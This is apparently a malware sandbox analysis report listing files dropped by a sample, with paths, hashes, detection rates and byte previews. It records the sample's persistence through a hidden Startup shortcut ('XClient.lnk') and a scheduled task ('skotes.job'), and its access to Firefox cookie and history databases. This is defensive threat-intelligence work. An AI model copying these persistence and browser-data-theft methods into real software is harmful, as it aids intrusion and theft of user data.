Preview:	#.# Settings for 'winnative' theme..#..namespace eval ttk::theme::winnative {. ttk::style theme settings winnative {...ttk::style configure "." \.. -background SystemButtonFace \.. -foreground SystemWindowText \.. -selectforeground SystemHighlightText \.. -selectbackground SystemHighlight \.. -troughcolor SystemScrollbar \.. -font TkDefaultFont \.. ;...ttk::style map "." -foreground [list disabled SystemGrayText] ;. ttk::style map "." -embossed [list disabled 1] ;...ttk::style configure TButton \.. -anchor center -width -11 -relief raised -shiftrelief 1..ttk::style configure TCheckbutton -padding "2 4"..ttk::style configure TRadiobutton -padding "2 4"..ttk::style configure TMenubutton \.. -padding "8 4" -arrowsize 3 -relief raised...ttk::style map TButton -relief {{!disabled pressed} sunken}...ttk::style configure TEntry \.. -padding 2 -selectborderwidth 0 -insertwidth 1..ttk::style map TEntry \.. -fieldbackground \.. .[list readonly System

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\ttk\xpTheme.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1920
Entropy (8bit):	4.940443388600074
Encrypted:	false
SSDEEP:	48:NaxYun9ahShk/T5QNt+7aVzEmAf8Afb9AfMML:kq1eb
MD5:	176A5DCEB7CF7A201B517B859F923F42
SHA1:	207D85B0ADB45BBCFEBCAEC9E2633FF353BB6449
SHA-256:	351BA00B3A02748FCE2DF2AB79D0C30C445DEF179005B6D7DB739CE3AA8C1658
SHA-512:	07B4466DBD22067D5E038B09D1EA7F578C817E3B73BCBB1F66533A48B817F8400E01B79F5F5FC2FAC46942F5E0DF98745A52E08F5DE078669D771E3794C01F91
Malicious:	false
Reputation:	unknown
Preview:	#.# Settings for 'xpnative' theme.#..namespace eval ttk::theme::xpnative {.. ttk::style theme settings xpnative {...ttk::style configure . \.. -background SystemButtonFace \.. -foreground SystemWindowText \.. -selectforeground SystemHighlightText \.. -selectbackground SystemHighlight \.. -font TkDefaultFont \.. ;...ttk::style map "." \.. -foreground [list disabled SystemGrayText] \.. ;...ttk::style configure TButton -anchor center -padding {1 1} -width -11..ttk::style configure TRadiobutton -padding 2..ttk::style configure TCheckbutton -padding 2..ttk::style configure TMenubutton -padding {8 4}...ttk::style configure TNotebook -tabmargins {2 2 2 0}..ttk::style map TNotebook.Tab \.. -expand [list selected {2 2 2 2}]...# Treeview:..ttk::style configure Heading -font TkHeadingFont..ttk::style configure Treeview -background SystemWindow..ttk::style map Treeview \.. -background [list selected SystemHighlight] \.. -foreground [list selected SystemHighlight

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\unsupported.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	11390
Entropy (8bit):	5.001395733354833
Encrypted:	false
SSDEEP:	192:1wMv11IDCB7PFPHGosvS6UMn6uPrLBfVcO9MGM/OTMjmrUwrt:pduDLBfrMYMjw3Z
MD5:	A2F80093F3AEEEAD14737CFE254EF4DE
SHA1:	E67FC84CA26BEF5E9913FC4E545141BC914AA1EE
SHA-256:	6212DCA4A797FCEBACE36F8EA2C6A4CE4BC660BA392C0ECB80724807263197F1
SHA-512:	0F8D1DFEFE95F779A145BDC9D0C63D1CF9D8C75C648698C37CBFF71132F4178464B2DEA31909F386AE446E88FD89BCBE335765F2C3577456EA40A9DE24197C5C
Malicious:	false
Reputation:	unknown
Preview:	# unsupported.tcl --.#.# Commands provided by Tk without official support. Use them at your.# own risk. They may change or go away without notice..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES...# ----------------------------------------------------------------------.# Unsupported compatibility interface for folks accessing Tk's private.# commands and variable against recommended usage..# ----------------------------------------------------------------------..namespace eval ::tk::unsupported {.. # Map from the old global names of Tk private commands to their. # new namespace-encapsulated names... variable PrivateCommands . array set PrivateCommands {..tkButtonAutoInvoke..::tk::ButtonAutoInvoke..tkButtonDown...::tk::ButtonDown..tkButtonEnter...::tk::ButtonEnter..tkButtonInvoke...::tk::ButtonInvoke..tkButtonLeave...::tk::ButtonLeave..tkButtonUp...::tk::ButtonUp..tkCancelRepeat...::tk::Canc

C:\Users\user\AppData\Local\Temp\_MEI77202\tk\xmfbox.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	25974
Entropy (8bit):	4.919711399379606
Encrypted:	false
SSDEEP:	384:obPApXi6V2+Bec3iGn7H6HZ1KDRxRcbQ3sd1GkjDo413lK/RIVOMXrSommjiETwZ:orAZTunc3sd1GkF3cIVUx01w
MD5:	1C9F8E939F67CAF0512A340D24783680
SHA1:	B6182C5FD9C4FA582AB23B3FF70D93265BD55F35
SHA-256:	42BA98733AE5CE3495D44199CDA5308064E1B46C898A55C6DFA24BE02B06BD81
SHA-512:	6D4D3536B436CFE3792FD0D912FCB21BBD80CCEE577302B1CFAB5029E765EEFD5A98674D5FBE798BC7750D2F9B8C4FD794C5F4D19E0A18CFADC2DFB6D0AC0890
Malicious:	false
Reputation:	unknown
Preview:	# xmfbox.tcl --.#.#.Implements the "Motif" style file selection dialog for the.#.Unix platform. This implementation is used only if the.#."::tk_strictMotif" flag is set..#.# Copyright (c) 1996 Sun Microsystems, Inc..# Copyright (c) 1998-2000 Scriptics Corporation.#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES...namespace eval ::tk::dialog {}.namespace eval ::tk::dialog::file {}...# ::tk::MotifFDialog --.#.#.Implements a file dialog similar to the standard Motif file.#.selection box..#.# Arguments:.#.type.."open" or "save".#.args..Options parsed by the procedure..#.# Results:.#.When -multiple is set to 0, this returns the absolute pathname.#.of the selected file. (NOTE: This is not the same as a single.#.element list.).# .#.When -multiple is set to > 0, this returns a Tcl list of absolute.# pathnames. The argument for -multiple is ignored, but for consistency.# with Windows it defines the ma

C:\Users\user\AppData\Local\Temp\_MEI77202\unicodedata.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	687104
Entropy (8bit):	5.428887209456378
Encrypted:	false
SSDEEP:	12288:Qs363AxoMPBt8FpQsVdFiI5mZMPXubUxktwd:d3oxM8XQsVdXSPAxLd
MD5:	A46E180E03AB5C2D802B8E6214067500
SHA1:	5DE5EFBCE2E6E81B6B954B843090B387B7BA927E
SHA-256:	689E5061CEFDA6223477A6A05906A500D59BD1B2A7458730B8D43C9D3B43BDBA
SHA-512:	68BD7AE714FB4F117EB53A0FB968083772AAEAA6428AE8510E5C109361B140C98415A1955FCA49DB3E9E1B6AE19909E9C50110F499306476D01141C479C16335
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......{H..?).?).?).6QE.=).6QS.1).6QT.=).6QC.8).?)..).6QY.>).6QB.>).6QA.>).Rich?).................PE..L......^...........!.....(...R.......0.......@............................................@.........................pX..R...LR..P................................... A..............................@Q..@............@...............................text... &.......(.................. ..`.rdata.......@.......,..............@..@.data....+...`...*...F..............@....reloc..,............p..............@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77202\win32api.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	100864
Entropy (8bit):	6.566092703362159
Encrypted:	false
SSDEEP:	3072:eiWTWf6dvDiNGqW3iJqwzmufh+HcuVhV3LHhBNIxJ2cUQM2peoNci7Oahh:ZWT9dvDiNG1yJqwzmuUHcuVhVxcUQMEh
MD5:	C8311157B239363A500513B04D1F6817
SHA1:	791D08F71C39BB01536F5E442F07AC7A0416B8A7
SHA-256:	7DE358652C1732CAF72F968A664301E256AAE281003DDCB0F5ECEF4B13101009
SHA-512:	AB9DADD65C582F2B12AF49448FA4F5A96DA00ABCC257722331AC7E9CAD2E2770FDB7A0F2DB32C113F2DF33E6C84C8C0D594A36F1FB4F3A9CCDB8F3DC1DDFBDBF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......[-..L...L...L.......L.......L.......L...J..L...L..TM.......L.......L.......L..Rich.L..........PE..L....k.^...........!................................................................................................ h..~....C..........@.......................$...p................................@..@...............H....B..@....................text...:........................... ..`.rdata...x.......z..................@..@.data........p.......V..............@....rsrc...@............f..............@..@.reloc..~........ ...j..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77202\win32event.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18432
Entropy (8bit):	6.091954091448561
Encrypted:	false
SSDEEP:	384:H6ObLkEVhuSRk78FF0/ThAdbF7Epmn+W5D+TwGgjRSHQ3b5yvL:1bLkEV4SBF0/ThAdbF7Epm+oD+TwGgjq
MD5:	9875CD79CFB4137EF4B97407141A407F
SHA1:	499EF019C4D10D2F9C86B7E335D723BD35B96123
SHA-256:	A9E176DF950BA410AC34C2E92BF09A6C046EB91C7AD002D6B5F7BEF60F0A4161
SHA-512:	1FB0BA196A00CA6A0A1A6E57667F460C2B8CA00BC7CE6363E066F24840EC9208A40140CED60802CDB28F1B621F490C84C89F5089F5C2985A4F3FD494DDAB590E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........k..{8..{8..{8..8..{8..8..{8..8..{8 ..8..{8..z8..{8..8..{8..8..{8..8..{8Rich..{8................PE..L....j.^...........!....."...".......+.......@.......................................................................S..P...LJ..x....p..@............................A..............................(I..@............@..`............................text....!.......".................. ..`.rdata.. ....@.......&..............@..@.data........`.......<..............@....rsrc...@....p.......>..............@..@.reloc...............B..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77202\win32process.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	39424
Entropy (8bit):	6.341139354476684
Encrypted:	false
SSDEEP:	768:HT7/CCq6VtNmp1IJoFD+0J7bFf8ZtXnxRCtzjCI0EIMhRKCFbJ:z7/CCq6VtNmp1Oo8ZxqiI0EIMhRKQJ
MD5:	EECBE6CD7AACD87B6F26A4AE11023E63
SHA1:	3871C36DF783CDDC66FC42F3BB1D3EB3B489F1F9
SHA-256:	2F11ED07C2BD9262072BC4E8B9C99E03A3D6CA4712ACB6D4C87393FDDAB8F205
SHA-512:	ED284EC9198569C69115AC8CCBB8C873CEA81813A5838059A02A2B7DDBEFFABE459EC5D0351EE04E33FE8639A961EF4940BF395C1E740B50A2FD523C9D923EC2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................i.............o.......7.........U....x......n......m.....Rich............PE..L....>.^...........!.....L...J.......S.......`..........................................................................T...,...........H...........................0b..................................@............`...............................text...*J.......L.................. ..`.rdata..T2...`...4...P..............@..@.data...............................@....rsrc...H...........................@..@.reloc..,...........................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77202\win32trace.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	15872
Entropy (8bit):	5.815218462579117
Encrypted:	false
SSDEEP:	384:FSBRJVY+svPnRYsTJWr4f0JIxRqHZHzErP/i:cBfVY+svvdTsr4fhxKQ7
MD5:	75D14D4671698A4B141A7CFE68020667
SHA1:	9AE60989DAA109EE87DB08249C0F9ED4B592CFCE
SHA-256:	6E2DE688F381ECAD132971272E4F171606263CC9F8FCB3EABAF8A4E0602C1FE7
SHA-512:	52989D33F4E3115DCEFA67B4790B1754C3E26CFFF8EC6FB9E04D6CB292BBC434E579A9E130D2F151032C88EC9034DA7AA6D402A2841F8B5E05E271A3AA78D7A1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............{@..{@..{@..@..{@..@..{@..@..{@(..@..{@..z@..{@..@..{@..@..{@..@..{@Rich..{@........................PE..L....j.^...........!................P$.......0...............................p.......................................>..P...<7..x....P..@....................`......`1.............................. 6..@............0..@............................text...H........................... ..`.rdata..@....0....... ..............@..@.data........@.......0..............@....rsrc...@....P.......4..............@..@.reloc.. ....`.......8..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI77202\win32ui.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029920001\bf9240674a.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	779264
Entropy (8bit):	6.37133843214328
Encrypted:	false
SSDEEP:	12288:C08SW0XOKL6+NaYrgBOrNx8pSgv7PvwRZE7AR4wYEssGtPwmS0z6Z3qLV7NOMDHn:C0cvQt0fz6Z34RTAln
MD5:	CF584E43F27C323E90FD668E9FEE377C
SHA1:	633864E395CCE14F01621CE9C8EF76D6521677B1
SHA-256:	94DB1996FBF71FC822B441E17865F429258F3F02CECC9609FDEB6785F0CD88B7
SHA-512:	43D4B2D13CF1BAF2CA865F5B6E172945E97DE2734ACF36D6E5C7F304E6908B47AA1EE682DBB77225DD0AD4DC3A64B2AB783033BF201DC85FE00EE346E2100528
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9.4.}.Z.}.Z.}.Z....q.Z..0..\|.Z.c-..~.Z.c-..q.Z.c-..t.Z.}.[..zZ.c-..J.Z.c-..\|.Z.c-..\|.Z.c-..\|.Z.Rich}.Z.................PE..L....l.^...........!.....J...................`....(..........................P.......q...............................<..!M..$........0..h....................P..\|....w..................................@............`...............................text....H.......J.................. ..`.rdata...)...`...*...N..............@..@.data...........^...x..............@....rsrc...h....0......................@..@.reloc..\|....P......................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2mk45o0q.o4v.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h3jyt4gq.2fo.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3183616
Entropy (8bit):	6.665662519691642
Encrypted:	false
SSDEEP:	49152:Ai+42d2hUaL9onZYntTelrt+NeKfFueiHQCO4ESN6Ug:Aj42d26aL9onZ8tTelrtOudQ7dSN
MD5:	C10552E6670650E273E4D8688D186E30
SHA1:	B11338AFF97507BE3268BD2EB1FC5A67BDA0F4B5
SHA-256:	D8AD2634C0F1E99DCD5D0DB58A57810ED39BDF5F68E3E8A4FDDD6727B66CCAE4
SHA-512:	E864BD3104B8FB2568094425310D41129EAA725DA3379251FB1599027FEE9BF60C054A26865CC4FED7FBA4C9948D2E38AAF11697B7AD198018959460CC422EE0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 61%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@...........................0.....F.0...@.................................W...k............................0...............................0..................................................... . ............................@....rsrc...............................@....idata ............................@...fjvnplhk..).......).................@...netceafy......0......n0.............@....taggant.0....0.."...r0.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\1029869001\abu7zly.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hide
Category:	dropped
Size (bytes):	820
Entropy (8bit):	3.0455263373982664
Encrypted:	false
SSDEEP:	12:8gl09sX2lw/tz0/CSLBAHgEbNfBJ4t2YZ/elFlSJm:8+TWLBCDFqy
MD5:	DF21D7E223CA2B86C93AC5AFA4871AEF
SHA1:	3303C56F6A9E6A2E004F9FE131DD40148E0A5F81
SHA-256:	C02CA448EA3F1A43D7B0B609D9E209B76F41A5F487EC8FA85D71A84857AB2FC7
SHA-512:	A01A9A88D3CE65C3B637489DD72331B8B4BADBE576215221334CFA00EA3A2E4830A1D7777A815AA8071E516C676C7BF801F8F400C56CBD89421E45B9360095B0
Malicious:	false
Reputation:	unknown
Preview:	L..................F.............................................................P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....Z.1...........user..B............................................e.n.g.i.n.e.e.r.....V.1...........AppData.@............................................A.p.p.D.a.t.a.....V.1...........Roaming.@............................................R.o.a.m.i.n.g.....b.2...........XClient.exe.H............................................X.C.l.i.e.n.t...e.x.e.............\.....\.....\.....\.....\.X.C.l.i.e.n.t...e.x.e...........................>.e.L.:..er.=................1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.2.6.5.8.-.3.6.9.3.4.0.5.1.1.7.-.2.4.7.6.7.5.6.6.3.4.-.1.0.0.3.................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\GIJEGDAKEH.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\8C8E1SFCKC1PZ3Q9HSG5ULYUCJYSJLU.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3183616
Entropy (8bit):	6.665662519691642
Encrypted:	false
SSDEEP:	49152:Ai+42d2hUaL9onZYntTelrt+NeKfFueiHQCO4ESN6Ug:Aj42d26aL9onZ8tTelrtOudQ7dSN
MD5:	C10552E6670650E273E4D8688D186E30
SHA1:	B11338AFF97507BE3268BD2EB1FC5A67BDA0F4B5
SHA-256:	D8AD2634C0F1E99DCD5D0DB58A57810ED39BDF5F68E3E8A4FDDD6727B66CCAE4
SHA-512:	E864BD3104B8FB2568094425310D41129EAA725DA3379251FB1599027FEE9BF60C054A26865CC4FED7FBA4C9948D2E38AAF11697B7AD198018959460CC422EE0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 61%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@...........................0.....F.0...@.................................W...k............................0...............................0..................................................... . ............................@....rsrc...............................@....idata ............................@...fjvnplhk..).......).................@...netceafy......0......n0.............@....taggant.0....0.."...r0.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\IXP002.TMP\1C05b9.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.434934344689083
Encrypted:	false
SSDEEP:	6:TRXUhXUEZ+lX1CGdKUe6tE9+AQy0ltut0:J4Q1CGAFD9+nVtut0
MD5:	3DB6F711DDD1B28554DDE7BE08CA37FD
SHA1:	595B152FFA0D70B8B9EB59DFC6293BAD7CF90315
SHA-256:	8AF42ECE259EB97607721207740F7551D2EB323F8148846BF422856F80ED94CF
SHA-512:	A6761E6D95610C525ADEC11BEB457D03545FD00CF14E7D1B5F4DB6BD59E989587716655B9F18839ED2233F4DD728A358B40D40CF3E73A766E07BF5400E76F6DA
Malicious:	false
Reputation:	unknown
Preview:	.....s..W.G..^a..2.F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0...................@3P.........................

Chrome Cache Entry: 1025

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (848)
Category:	downloaded
Size (bytes):	853
Entropy (8bit):	5.201906176748183
Encrypted:	false
SSDEEP:	24:h+yEvj+TOGsmBHslgT9lCuABATr7uoB7HHHHHHHYqmffffffo:hZcmKlgZ01BA37uSEqmffffffo
MD5:	E4A97AF76D8C61F242B76BF0480BF228
SHA1:	2EDD747CE8F0169EBE7334BCC5D69C921D13DEAD
SHA-256:	BBABFC6EED0D0660CAAE665BB8D2501FD53BB52F0391FFBF2C3356AA6B735056
SHA-512:	B6803807726E1842F43B6394921DA0E7D55030954F2B517A438F5F055B97B682B1EBCF0D024E2961E6D6C5225AB8159C0E9299F02B20C5D0936A912A4F7E8703
Malicious:	false
Reputation:	unknown
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["killer whale dead calf","marvel rivals season 1 fantastic four","world juniors hockey championship","walmart broccoli recall listeria","monopoly go friendship pays rewards","quadrantids meteor showers","winter storm snow forecast","nfl mock drafts"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggesteventid":6297182249330378593,"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 1026

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1395)
Category:	downloaded
Size (bytes):	117446
Entropy (8bit):	5.490775275046353
Encrypted:	false
SSDEEP:	3072:T2yvefrtJUEgK3Cvw3wWs/ZuTZVL/G1kL:T2y4tJbDK0L/G1kL
MD5:	942EA4F96889BAE7D3C59C0724AB2208
SHA1:	033DDF473319500621D8EBB6961C4278E27222A7
SHA-256:	F59F7F32422E311462A6A6307D90CA75FE87FA11E6D481534A6F28BFCCF63B03
SHA-512:	C3F27662D08AA00ECBC910C39F6429C2F4CBC7CB5FC9083F63390047BACAF8CD7A83C3D6BBE7718F699DAE2ADA486F9E0CAED59BC3043491EECD9734EC32D92F
Malicious:	false
Reputation:	unknown
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.ZpMpph_5a4M.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo_c5__TAiALeuHoQOKG0BnSpdbJrQ/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([]);.var ca,da,ha,ma,xa,Aa,Ba;ca=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);ma=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}};.ma("Symbol",function(a){if(a)return a;var b

Chrome Cache Entry: 1029

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
Reputation:	unknown
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 1030

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132739
Entropy (8bit):	5.436605092457394
Encrypted:	false
SSDEEP:	3072:fikJQ7O4N5dTm+syHEt4W3XdQ4Q6buSr/nUW2i6o:fLQ7HTt/sHdQ4Q6bDfUW8o
